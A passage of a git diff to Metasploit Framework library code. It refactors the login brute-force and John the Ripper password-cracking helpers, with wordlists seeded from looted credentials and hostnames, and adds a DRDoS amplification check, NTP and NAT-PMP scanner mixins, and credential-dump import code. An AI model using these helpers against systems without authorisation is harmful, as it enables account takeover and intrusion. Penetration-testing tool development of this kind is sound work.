myworkspace.id) + creds.each do |cred| + cred_collection.prepend_cred(cred.to_credential) + end + end + cred_collection + end + + + # Checks all three files for usernames and passwords, and combines them into # one credential list to apply against the supplied block. The block (usually # something like do_login(user,pass) ) is responsible for actually recording @@ -330,6 +377,9 @@ module Auxiliary::AuthBrute end creds = [ [], [], [], [] ] # userpass, pass, user, rest + remaining_pairs = combined_array.length # counter for our occasional output + interval = 60 # seconds between each remaining pair message reported to user + next_message_time = Time.now + interval # initial timing interval for user message # Move datastore['USERNAME'] and datastore['PASSWORD'] to the front of the list. # Note that we cannot tell the user intention if USERNAME or PASSWORD is blank -- # maybe (and it's often) they wanted a blank. One more credential won't kill @@ -344,6 +394,14 @@ module Auxiliary::AuthBrute else creds[3] << pair end + if Time.now > next_message_time + print_brute( + :level => :vstatus, + :msg => "Pair list is still building with #{remaining_pairs} pairs left to process" + ) + next_message_time = Time.now + interval + end + remaining_pairs -= 1 end return creds[0] + creds[1] + creds[2] + creds[3] end diff --git a/lib/msf/core/auxiliary/drdos.rb b/lib/msf/core/auxiliary/drdos.rb new file mode 100644 index 0000000000..fdf3f3f93e --- /dev/null +++ b/lib/msf/core/auxiliary/drdos.rb @@ -0,0 +1,47 @@ +# -*- coding: binary -*- +module Msf + +### +# +# This module provides methods for Distributed Reflective Denial of Service (DRDoS) attacks +# +### +module Auxiliary::DRDoS + + def prove_amplification(response_map) + vulnerable = false + proofs = [] + response_map.each do |request, responses| + responses ||= [] + this_proof = '' + + # compute packet amplification + if responses.size > 1 + vulnerable = true + this_proof += "#{responses.size}x packet amplification" + else + this_proof += 'No packet amplification' + end + + this_proof += ' and ' + + # compute bandwidth amplification + total_size = responses.map(&:size).reduce(:+) + bandwidth_amplification = total_size - request.size + if bandwidth_amplification > 0 + vulnerable = true + multiplier = total_size / request.size + this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification" + else + this_proof += 'no bandwidth amplification' + end + + # TODO (maybe): show the request and responses in more detail? + proofs << this_proof + end + + [ vulnerable, proofs.join(', ') ] + end + +end +end diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index c1053918eb..b430f4b935 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -2,7 +2,8 @@ require 'open3' require 'fileutils' require 'rex/proto/ntlm/crypt' - +require 'metasploit/framework/jtr/cracker' +require 'metasploit/framework/jtr/wordlist' module Msf @@ -24,229 +25,28 @@ module Auxiliary::JohnTheRipper register_options( [ - OptPath.new('JOHN_BASE', [false, 'The directory containing John the Ripper (src, run, doc)']), - OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), - OptPath.new('Wordlist', [false, 'The path to an optional Wordlist']), - OptBool.new('Munge',[false, 'Munge the Wordlist (Slower)', false]) + OptPath.new('CONFIG', [false, 'The path to a John config file to use instead of the default']), + OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']), + OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']), + OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), + OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]), + OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']), + OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]), + OptBool.new('USE_DB_INFO', [false, 'Use looted database schema info to seed the wordlist', true]), + OptBool.new('USE_DEFAULT_WORDLIST', [false, 'Use the default metasploit wordlist', true]), + OptBool.new('USE_HOSTNAMES', [false, 'Seed the wordlist with hostnames from the workspace', true]), + OptBool.new('USE_ROOT_WORDS', [false, 'Use the Common Root Words Wordlist', true]) ], Msf::Auxiliary::JohnTheRipper ) - @run_path = nil - @john_path = ::File.join(Msf::Config.data_directory, "john") - - autodetect_platform - end - - # @return [String] the run path instance variable if the platform is detectable, nil otherwise. - def autodetect_platform - return @run_path if @run_path - cpuinfo_base = ::File.join(Msf::Config.data_directory, "cpuinfo") - if File.directory?(cpuinfo_base) - data = nil - - case ::RUBY_PLATFORM - when /mingw|cygwin|mswin/ - fname = "#{cpuinfo_base}/cpuinfo.exe" - if File.exists?(fname) and File.executable?(fname) - data = %x{"#{fname}"} rescue nil - end - case data - when /sse2/ - @run_path ||= "run.win32.sse2/john.exe" - when /mmx/ - @run_path ||= "run.win32.mmx/john.exe" - else - @run_path ||= "run.win32.any/john.exe" - end - when /x86_64-linux/ - fname = "#{cpuinfo_base}/cpuinfo.ia64.bin" - if File.exists? fname - ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} rescue nil - end - case data - when /mmx/ - @run_path ||= "run.linux.x64.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - when /i[\d]86-linux/ - fname = "#{cpuinfo_base}/cpuinfo.ia32.bin" - if File.exists? fname - ::FileUtils.chmod(0755, fname) rescue nil - data = %x{"#{fname}"} rescue nil - end - case data - when /sse2/ - @run_path ||= "run.linux.x86.sse2/john" - when /mmx/ - @run_path ||= "run.linux.x86.mmx/john" - else - @run_path ||= "run.linux.x86.any/john" - end - end - end - - return @run_path - end - - def john_session_id - @session_id ||= ::Rex::Text.rand_text_alphanumeric(8) - end - - def john_pot_file - ::File.join( ::Msf::Config.config_directory, "john.pot" ) - end - - def john_cracked_passwords - ret = {} - return ret if not ::File.exist?(john_pot_file) - ::File.open(john_pot_file, "rb") do |fd| - fd.each_line do |line| - hash,clear = line.sub(/\r?\n$/, '').split(",", 2) - ret[hash] = clear - end - end - ret - end - - def john_show_passwords(hfile, format=nil) - res = {:cracked => 0, :uncracked => 0, :users => {} } - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return res - end - - pot = john_pot_file - conf = ::File.join(john_base_path, "confs", "john.conf") - - cmd = [ john_command, "--show", "--conf=#{conf}", "--pot=#{pot}", hfile] - - if format - cmd << "--format=" + format - end - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - print_status(line) - if line =~ /(\d+) password hash(es)* cracked, (\d+) left/m - res[:cracked] = $1.to_i - res[:uncracked] = $2.to_i - end - - bits = line.split(':') - next if not bits[2] - if (format== 'lm' or format == 'nt') - res[ :users ][ bits[0] ] = bits[1] - else - bits.last.chomp! - res[ :users ][ bits[0] ] = bits.drop(1) - end - - end - end - res - end - - def john_unshadow(passwd_file,shadow_file) - - retval="" - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return nil - end - - if File.exists?(passwd_file) - unless File.readable?(passwd_file) - print_error("We do not have permission to read #{passwd_file}") - return nil - end - else - print_error("File does not exist: #{passwd_file}") - return nil - end - - if File.exists?(shadow_file) - unless File.readable?(shadow_file) - print_error("We do not have permission to read #{shadow_file}") - return nil - end - else - print_error("File does not exist: #{shadow_file}") - return nil - end - - - cmd = [ john_command.gsub(/john$/, "unshadow"), passwd_file , shadow_file ] - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - retval << line - end - end - return retval - end - - def john_wordlist_path - ::File.join(john_base_path, "wordlists", "password.lst") - end - - def john_binary_path - path = nil - if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) - path = datastore['JOHN_PATH'] - ::FileUtils.chmod(0755, path) rescue nil - end - - if not @run_path - if ::RUBY_PLATFORM =~ /mingw|cygwin|mswin/ - ::File.join(john_base_path, "john.exe") - else - path = ::File.join(john_base_path, "john") - ::FileUtils.chmod(0755, path) rescue nil - end - else - path = ::File.join(john_base_path, @run_path) - ::FileUtils.chmod(0755, path) rescue nil - end - - if path and ::File.exists?(path) - return path - end - - path = Rex::FileUtils.find_full_path("john") || - Rex::FileUtils.find_full_path("john.exe") - end - - def john_base_path - if datastore['JOHN_BASE'] and ::File.directory?(datastore['JOHN_BASE']) - return datastore['JOHN_BASE'] - end - if datastore['JOHN_PATH'] and ::File.file?(datastore['JOHN_PATH']) - return ::File.dirname( datastore['JOHN_PATH'] ) - end - @john_path - end - - def john_expand_word(str) - res = [str] - str.split(/\W+/) {|w| res << w } - res.uniq end + # @param pwd [String] Password recovered from cracking an LM hash + # @param hash [String] NTLM hash for this password + # @return [String] `pwd` converted to the correct case to match the + # given NTLM hash + # @return [nil] if no case matches the NT hash. This can happen when + # `pwd` came from a john run that only cracked half of the LM hash def john_lm_upper_to_ntlm(pwd, hash) pwd = pwd.upcase hash = hash.upcase @@ -259,179 +59,41 @@ module Auxiliary::JohnTheRipper end - def john_crack(hfile, opts={}) - - res = {:cracked => 0, :uncracked => 0, :users => {} } - - john_command = john_binary_path - - if john_command.nil? - print_error("John the Ripper executable not found") - return nil - end - - # Don't bother making a log file, we'd just have to rm it when we're - # done anyway. - cmd = [ john_command, "--session=" + john_session_id, "--nolog"] - - if opts[:conf] - cmd << ( "--conf=" + opts[:conf] ) - else - cmd << ( "--conf=" + ::File.join(john_base_path, "confs", "john.conf") ) - end - - if opts[:pot] - cmd << ( "--pot=" + opts[:pot] ) - else - cmd << ( "--pot=" + john_pot_file ) - end - - if opts[:format] - cmd << ( "--format=" + opts[:format] ) - end - - if opts[:wordlist] - cmd << ( "--wordlist=" + opts[:wordlist] ) - end - - if opts[:incremental] - cmd << ( "--incremental=" + opts[:incremental] ) - end - - if opts[:single] - cmd << ( "--single=" + opts[:single] ) - end - - if opts[:rules] - cmd << ( "--rules=" + opts[:rules] ) - end - - cmd << hfile - - if RUBY_VERSION =~ /^1\.8\./ - cmd = cmd.join(" ") - end - - ::IO.popen(cmd, "rb") do |fd| - fd.each_line do |line| - print_status("Output: #{line.strip}") - end - end - - res + # This method creates a new {Metasploit::Framework::JtR::Cracker} and populates + # some of the attributes based on the module datastore options. + # + # @return [nilClass] if there is no active framework db connection + # @return [Metasploit::Framework::JtR::Cracker] if it successfully creates a JtR Cracker object + def new_john_cracker + return nil unless framework.db.active + Metasploit::Framework::JtR::Cracker.new( + config: datastore['CONFIG'], + john_path: datastore['JOHN_PATH'], + max_runtime: datastore['ITERATION_TIMEOUT'], + pot: datastore['POT'], + wordlist: datastore['CUSTOM_WORDLIST'] + ) end - def build_seed - - seed = [] - #Seed the wordlist with Database , Table, and Instance Names - - count = 0 - schemas = myworkspace.notes.where('ntype like ?', '%.schema%') - unless schemas.nil? or schemas.empty? - schemas.each do |anote| - seed << anote.data['DBName'] - count += 1 - anote.data['Tables'].each do |table| - seed << table['TableName'] - count += 1 - table['Columns'].each do |column| - seed << column['ColumnName'] - count += 1 - end - end - end - end - print_status "Seeding wordlist with DB schema info... #{count} words added" - count = 0 - - instances = myworkspace.notes.find(:all, :conditions => ['ntype=?', 'mssql.instancename']) - unless instances.nil? or instances.empty? - instances.each do |anote| - seed << anote.data['InstanceName'] - count += 1 - end - end - print_status "Seeding with MSSQL Instance Names....#{count} words added" - count = 0 - - # Seed the wordlist with usernames, passwords, and hostnames - - myworkspace.hosts.find(:all).each do |o| - if o.name - seed << john_expand_word( o.name ) - count += 1 - end - end - print_status "Seeding with hostnames....#{count} words added" - count = 0 - - - myworkspace.creds.each do |o| - if o.user - seed << john_expand_word( o.user ) - count +=1 - end - if (o.pass and o.ptype !~ /hash/) - seed << john_expand_word( o.pass ) - count += 1 - end - end - print_status "Seeding with found credentials....#{count} words added" - count = 0 - - # Grab any known passwords out of the john.pot file - john_cracked_passwords.values do |v| - seed << v - count += 1 - end - print_status "Seeding with cracked passwords from John....#{count} words added" - count = 0 - - #Grab the default John Wordlist - john = File.open(john_wordlist_path, "rb") - john.each_line do |line| - seed << line.chomp - count += 1 - end - print_status "Seeding with default John wordlist...#{count} words added" - count = 0 - - if datastore['Wordlist'] - wordlist= File.open(datastore['Wordlist'], "rb") - wordlist.each_line do |line| - seed << line.chomp - count ==1 - end - print_status "Seeding from user supplied wordlist...#{count} words added" - end - - - - unless seed.empty? - seed.flatten! - seed.uniq! - if datastore['Munge'] - mungedseed=[] - seed.each do |word| - munged = word.gsub(/[sS]/, "$").gsub(/[aA]/,"@").gsub(/[oO]/,"0") - mungedseed << munged - munged.gsub!(/[eE]/, "3") - munged.gsub!(/[tT]/, "7") - mungedseed << munged - end - print_status "Adding #{mungedseed.count} words from munging..." - seed << mungedseed - seed.flatten! - seed.uniq! - end - end - print_status "De-duping the wordlist...." - - print_status("Wordlist Seeded with #{seed.length} words") - - return seed - + # This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data + # out to a file and returns the {rex::quickfile} object. + # + # @return [nilClass] if there is no active framework db connection + # @return [Rex::Quickfile] if it successfully wrote the wordlist to a file + def wordlist_file + return nil unless framework.db.active + wordlist = Metasploit::Framework::JtR::Wordlist.new( + custom_wordlist: datastore['CUSTOM_WORDLIST'], + mutate: datastore['MUTATE'], + use_creds: datastore['USE_CREDS'], + use_db_info: datastore['USE_DB_INFO'], + use_default_wordlist: datastore['USE_DEFAULT_WORDLIST'], + use_hostnames: datastore['USE_HOSTNAMES'], + use_common_root: datastore['USE_ROOT_WORDS'], + workspace: myworkspace + ) + wordlist.to_file end + end end diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index a20642ab91..6793162658 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -21,6 +21,10 @@ module Auxiliary::Login def initialize(info = {}) super + create_login_ivars + end + + def create_login_ivars # Appended to by each read and gets reset after each send. Doing it # this way lets us deal with partial reads in the middle of expect # strings, e.g., the first recv returns "Pa" and the second returns diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index afa9ff5928..610866fe56 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -5,6 +5,7 @@ # require 'msf/core/auxiliary/auth_brute' require 'msf/core/auxiliary/dos' +require 'msf/core/auxiliary/drdos' require 'msf/core/auxiliary/fuzzer' require 'msf/core/auxiliary/report' require 'msf/core/auxiliary/scanner' @@ -19,6 +20,7 @@ require 'msf/core/auxiliary/login' require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/nmap' -require 'msf/core/auxiliary/jtr' +require 'msf/core/auxiliary/natpmp' require 'msf/core/auxiliary/iax2' +require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/pii' diff --git a/lib/msf/core/auxiliary/natpmp.rb b/lib/msf/core/auxiliary/natpmp.rb new file mode 100644 index 0000000000..b2cea9230e --- /dev/null +++ b/lib/msf/core/auxiliary/natpmp.rb @@ -0,0 +1,27 @@ +# -*- coding: binary -*- +require 'rex/proto/natpmp' + +module Msf + +### +# +# This module provides methods for working with NAT-PMP +# +### +module Auxiliary::NATPMP + + include Auxiliary::Scanner + include Rex::Proto::NATPMP + + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(Rex::Proto::NATPMP::DefaultPort), + Opt::CHOST + ], + self.class + ) + end +end +end diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb index 8d60cd9a12..fd32b94b0d 100644 --- a/lib/msf/core/auxiliary/nmap.rb +++ b/lib/msf/core/auxiliary/nmap.rb @@ -184,7 +184,6 @@ def nmap_validate_rports if datastore['RPORT'] && (datastore['RPORT'].kind_of?(Fixnum) || !datastore['RPORT'].empty?) return true end - bad_port = false if rports.nil? || rports.empty? print_error "Missing RPORTS" return false @@ -193,14 +192,10 @@ def nmap_validate_rports if r =~ /^([TU]:)?[0-9]*-?[0-9]*$/ next else - bad_port = true - break + print_error "Malformed nmap port: #{r}" + return false end end - if bad_port - print_error "Malformed nmap port: #{r}" - return false - end print_status "Using RPORTS range #{datastore['RPORTS']}" return true end @@ -246,7 +241,7 @@ def nmap_hosts(&block) fh = self.nmap_log[0] nmap_data = fh.read(fh.stat.size) # fh.unlink - if Rex::Parser.nokogiri_loaded + if Rex::Parser.nokogiri_loaded && framework.db.active wspace = framework.db.find_workspace(datastore['WORKSPACE']) wspace ||= framework.db.workspace import_args = { :data => nmap_data, :wspace => wspace } diff --git a/lib/msf/core/auxiliary/ntp.rb b/lib/msf/core/auxiliary/ntp.rb new file mode 100644 index 0000000000..abaa96b157 --- /dev/null +++ b/lib/msf/core/auxiliary/ntp.rb @@ -0,0 +1,33 @@ +# -*- coding: binary -*- +require 'rex/proto/ntp' + +module Msf + +### +# +# This module provides methods for working with NTP +# +### +module Auxiliary::NTP + + include Auxiliary::Scanner + + # + # Initializes an instance of an auxiliary module that uses NTP + # + + def initialize(info = {}) + super + register_options( + [ + Opt::RPORT(123), + ], self.class) + + register_advanced_options( + [ + OptInt.new('VERSION', [true, 'Use this NTP version', 2]), + OptInt.new('IMPLEMENTATION', [true, 'Use this NTP mode 7 implementation', 3]) + ], self.class) + end +end +end diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index 53e18d9fe2..a7d10262a7 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -8,10 +8,13 @@ module Msf ### module Auxiliary::Report + extend Metasploit::Framework::Require + optionally_include_metasploit_credential_creation - def initialize(info = {}) - super + # This method overrides the method from Metasploit::Credential to check for an active db + def active_db? + framework.db.active end # Shortcut method for detecting when the DB is active @@ -23,6 +26,18 @@ module Auxiliary::Report @myworkspace = framework.db.find_workspace(self.workspace) end + # This method safely get the workspace ID. It handles if the db is not active + # + # @return [NilClass] if there is no DB connection + # @return [Fixnum] the ID of the current {Mdm::Workspace} + def myworkspace_id + if framework.db.active + myworkspace.id + else + nil + end + end + def mytask if self[:task] return self[:task].record @@ -215,7 +230,7 @@ module Auxiliary::Report end case ctype - when "text/plain" + when /^text\/[\w\.]+$/ ext = "txt" end # This method is available even if there is no database, don't bother checking @@ -387,6 +402,9 @@ module Auxiliary::Report print_status "Collecting #{cred_opts[:user]}:#{cred_opts[:pass]}" framework.db.report_auth_info(cred_opts) end + + + end end diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index e08efc4ef1..fade61b0ea 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -32,6 +32,16 @@ def initialize(info = {}) end +def check + nmod = replicant + begin + nmod.check_host(datastore['RHOST']) + rescue NoMethodError + Exploit::CheckCode::Unsupported + end +end + + # # The command handler when launched from the console # @@ -79,7 +89,7 @@ def run @tl = [] - while (true) + loop do # Spawn threads for each host while (@tl.length < threads_max) ip = ar.next_ip diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb index 1bbe5cd809..0a5fbaa2a2 100644 --- a/lib/msf/core/auxiliary/web/analysis/differential.rb +++ b/lib/msf/core/auxiliary/web/analysis/differential.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/analysis/taint.rb b/lib/msf/core/auxiliary/web/analysis/taint.rb index e513d34da7..1be14dbd85 100644 --- a/lib/msf/core/auxiliary/web/analysis/taint.rb +++ b/lib/msf/core/auxiliary/web/analysis/taint.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/analysis/timing.rb b/lib/msf/core/auxiliary/web/analysis/timing.rb index d307d2db83..ed0dc6042a 100644 --- a/lib/msf/core/auxiliary/web/analysis/timing.rb +++ b/lib/msf/core/auxiliary/web/analysis/timing.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/form.rb b/lib/msf/core/auxiliary/web/form.rb index 6dbc16dbf0..130b0fe0b3 100644 --- a/lib/msf/core/auxiliary/web/form.rb +++ b/lib/msf/core/auxiliary/web/form.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/auxiliary/web/fuzzable.rb b/lib/msf/core/auxiliary/web/fuzzable.rb index c98176f62c..07ae5ae284 100644 --- a/lib/msf/core/auxiliary/web/fuzzable.rb +++ b/lib/msf/core/auxiliary/web/fuzzable.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/auxiliary/web/http.rb b/lib/msf/core/auxiliary/web/http.rb index 495180f67c..45c91883ce 100644 --- a/lib/msf/core/auxiliary/web/http.rb +++ b/lib/msf/core/auxiliary/web/http.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit diff --git a/lib/msf/core/auxiliary/web/path.rb b/lib/msf/core/auxiliary/web/path.rb index 889e72e38b..07ab99694e 100644 --- a/lib/msf/core/auxiliary/web/path.rb +++ b/lib/msf/core/auxiliary/web/path.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/auxiliary/web/target.rb b/lib/msf/core/auxiliary/web/target.rb index b606ab0b4f..fd4fc593ff 100644 --- a/lib/msf/core/auxiliary/web/target.rb +++ b/lib/msf/core/auxiliary/web/target.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index ef92dcb7da..2896ef886d 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -7,7 +7,6 @@ require 'csv' require 'tmpdir' require 'uri' -require 'zip' # # @@ -56,6 +55,7 @@ require 'rex/parser/retina_xml' # Project # +require 'metasploit/framework/require' require 'msf/core/db_manager/import_msf_xml' module Msf @@ -156,7 +156,10 @@ end # ### class DBManager + extend Metasploit::Framework::Require + include Msf::DBManager::ImportMsfXml + optionally_include_metasploit_credential_creation def rfc3330_reserved(ip) case ip.class.to_s @@ -1371,8 +1374,6 @@ class DBManager =end ntype = opts.delete(:type) || opts.delete(:ntype) || (raise RuntimeError, "A note :type or :ntype is required") data = opts[:data] - method = nil - args = [] note = nil conditions = { :ntype => ntype } @@ -1381,15 +1382,7 @@ class DBManager case mode when :unique - notes = wspace.notes.where(conditions) - - # Only one note of this type should exist, make a new one if it - # isn't there. If it is, grab it and overwrite its data. - if notes.empty? - note = wspace.notes.new(conditions) - else - note = notes[0] - end + note = wspace.notes.where(conditions).first_or_initialize note.data = data when :unique_data notes = wspace.notes.where(conditions) @@ -1547,9 +1540,9 @@ class DBManager ret = {} - #Check to see if the creds already exist. We look also for a downcased username with the - #same password because we can fairly safely assume they are not in fact two seperate creds. - #this allows us to hedge against duplication of creds in the DB. + # Check to see if the creds already exist. We look also for a downcased username with the + # same password because we can fairly safely assume they are not in fact two seperate creds. + # this allows us to hedge against duplication of creds in the DB. if duplicate_ok # If duplicate usernames are okay, find by both user and password (allows @@ -2092,25 +2085,16 @@ class DBManager loot.service_id = opts[:service][:id] end - loot.path = path - loot.ltype = ltype + loot.path = path + loot.ltype = ltype loot.content_type = ctype - loot.data = data - loot.name = name if name - loot.info = info if info + loot.data = data + loot.name = name if name + loot.info = info if info + loot.workspace = wspace msf_import_timestamps(opts,loot) loot.save! - if !opts[:created_at] -=begin - if host - host.updated_at = host.created_at - host.state = HostState::Alive - host.save! - end -=end - end - ret[:loot] = loot } end @@ -2181,35 +2165,76 @@ class DBManager end - # - # Find or create a task matching this type/data - # + # TODO This method does not attempt to find. It just creates + # a report based on the passed params. def find_or_create_report(opts) report_report(opts) end + # Creates a Report based on passed parameters. Does not handle + # child artifacts. + # @param opts [Hash] + # @return [Integer] ID of created report def report_report(opts) return if not active + created = opts.delete(:created_at) + updated = opts.delete(:updated_at) + state = opts.delete(:state) + ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - path = opts.delete(:path) || (raise RuntimeError, "A report :path is required") + report = Report.new(opts) + report.created_at = created + report.updated_at = updated - ret = {} - user = opts.delete(:user) - options = opts.delete(:options) - rtype = opts.delete(:rtype) - report = wspace.reports.new - report.created_by = user - report.options = options - report.rtype = rtype - report.path = path - msf_import_timestamps(opts,report) - report.save! + unless report.valid? + errors = report.errors.full_messages.join('; ') + raise RuntimeError "Report to be imported is not valid: #{errors}" + end + report.state = :complete # Presume complete since it was exported + report.save - ret[:task] = report + report.id } end + # Creates a ReportArtifact based on passed parameters. + # @param opts [Hash] of ReportArtifact attributes + def report_artifact(opts) + return if not active + + artifacts_dir = Report::ARTIFACT_DIR + tmp_path = opts[:file_path] + artifact_name = File.basename tmp_path + new_path = File.join(artifacts_dir, artifact_name) + created = opts.delete(:created_at) + updated = opts.delete(:updated_at) + + unless File.exists? tmp_path + raise DBImportError 'Report artifact file to be imported does not exist.' + end + + unless (File.directory?(artifacts_dir) && File.writable?(artifacts_dir)) + raise DBImportError "Could not move report artifact file to #{artifacts_dir}." + end + + if File.exists? new_path + unique_basename = "#{(Time.now.to_f*1000).to_i}_#{artifact_name}" + new_path = File.join(artifacts_dir, unique_basename) + end + + FileUtils.copy(tmp_path, new_path) + opts[:file_path] = new_path + artifact = ReportArtifact.new(opts) + artifact.created_at = created + artifact.updated_at = updated + + unless artifact.valid? + errors = artifact.errors.full_messages.join('; ') + raise RuntimeError "Artifact to be imported is not valid: #{errors}" + end + artifact.save + end + # # This methods returns a list of all reports in the database # @@ -2887,29 +2912,36 @@ class DBManager data = "" ::File.open(filename, 'rb') do |f| - data = f.read(4) + # This check is the largest (byte-wise) that we need to do + # since the other 4-byte checks will be subsets of this larger one. + data = f.read(Metasploit::Credential::Exporter::Pwdump::FILE_ID_STRING.size) end if data.nil? raise DBImportError.new("Zero-length file") end - case data[0,4] - when "PK\x03\x04" - data = Zip::ZipFile.open(filename) - when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4" - data = PacketFu::PcapFile.new(:filename => filename) + if data.index(Metasploit::Credential::Exporter::Pwdump::FILE_ID_STRING) + data = ::File.open(filename, 'rb') else - ::File.open(filename, 'rb') do |f| - sz = f.stat.size - data = f.read(sz) + case data[0,4] + when "PK\x03\x04" + data = Zip::File.open(filename) + when "\xd4\xc3\xb2\xa1", "\xa1\xb2\xc3\xd4" + data = PacketFu::PcapFile.new(:filename => filename) + else + ::File.open(filename, 'rb') do |f| + sz = f.stat.size + data = f.read(sz) + end end end + + if block import(args.merge(:data => data)) { |type,data| yield type,data } else import(args.merge(:data => data)) end - end # A dispatcher method that figures out the data's file type, @@ -2918,35 +2950,78 @@ class DBManager # is unknown. def import(args={}, &block) data = args[:data] || args['data'] - wspace = args[:wspace] || args['wspace'] || workspace ftype = import_filetype_detect(data) yield(:filetype, @import_filedata[:type]) if block self.send "import_#{ftype}".to_sym, args, &block end - # Returns one of: :nexpose_simplexml :nexpose_rawxml :nmap_xml :openvas_xml - # :nessus_xml :nessus_xml_v2 :qualys_scan_xml, :qualys_asset_xml, :msf_xml :nessus_nbe :amap_mlog - # :amap_log :ip_list, :msf_zip, :libpcap, :foundstone_xml, :acunetix_xml, :appscan_xml - # :burp_session, :ip360_xml_v3, :ip360_aspl_xml, :nikto_xml, :outpost24_xml + # Returns one of the following: + # + # :acunetix_xml + # :amap_log + # :amap_mlog + # :appscan_xml + # :burp_session_xml + # :ci_xml + # :foundstone_xml + # :fusionvm_xml + # :ip360_aspl_xml + # :ip360_xml_v3 + # :ip_list + # :libpcap + # :mbsa_xml + # :msf_cred_dump_zip + # :msf_pwdump + # :msf_xml + # :msf_zip + # :nessus_nbe + # :nessus_xml + # :nessus_xml_v2 + # :netsparker_xml + # :nexpose_rawxml + # :nexpose_simplexml + # :nikto_xml + # :nmap_xml + # :openvas_new_xml + # :openvas_xml + # :outpost24_xml + # :qualys_asset_xml + # :qualys_scan_xml + # :retina_xml + # :spiceworks_csv + # :wapiti_xml + # # If there is no match, an error is raised instead. + # + # @raise DBImportError if the type can't be detected def import_filetype_detect(data) - if data and data.kind_of? Zip::ZipFile - raise DBImportError.new("The zip file provided is empty.") if data.entries.empty? + if data and data.kind_of? Zip::File + if data.entries.empty? + raise DBImportError.new("The zip file provided is empty.") + end + @import_filedata ||= {} @import_filedata[:zip_filename] = File.split(data.to_s).last @import_filedata[:zip_basename] = @import_filedata[:zip_filename].gsub(/\.zip$/,"") @import_filedata[:zip_entry_names] = data.entries.map {|x| x.name} - begin - @import_filedata[:zip_xml] = @import_filedata[:zip_entry_names].grep(/^(.*)_[0-9]+\.xml$/).first || raise - @import_filedata[:zip_wspace] = @import_filedata[:zip_xml].to_s.match(/^(.*)_[0-9]+\.xml$/)[1] - @import_filedata[:type] = "Metasploit ZIP Report" - return :msf_zip - rescue ::Interrupt - raise $! - rescue ::Exception - raise DBImportError.new("The zip file provided is not a Metasploit ZIP report") + + if @import_filedata[:zip_entry_names].include?(Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) + @import_filedata[:type] = "Metasploit Credential Dump" + return :msf_cred_dump_zip end + + xml_files = @import_filedata[:zip_entry_names].grep(/^(.*)\.xml$/) + + # 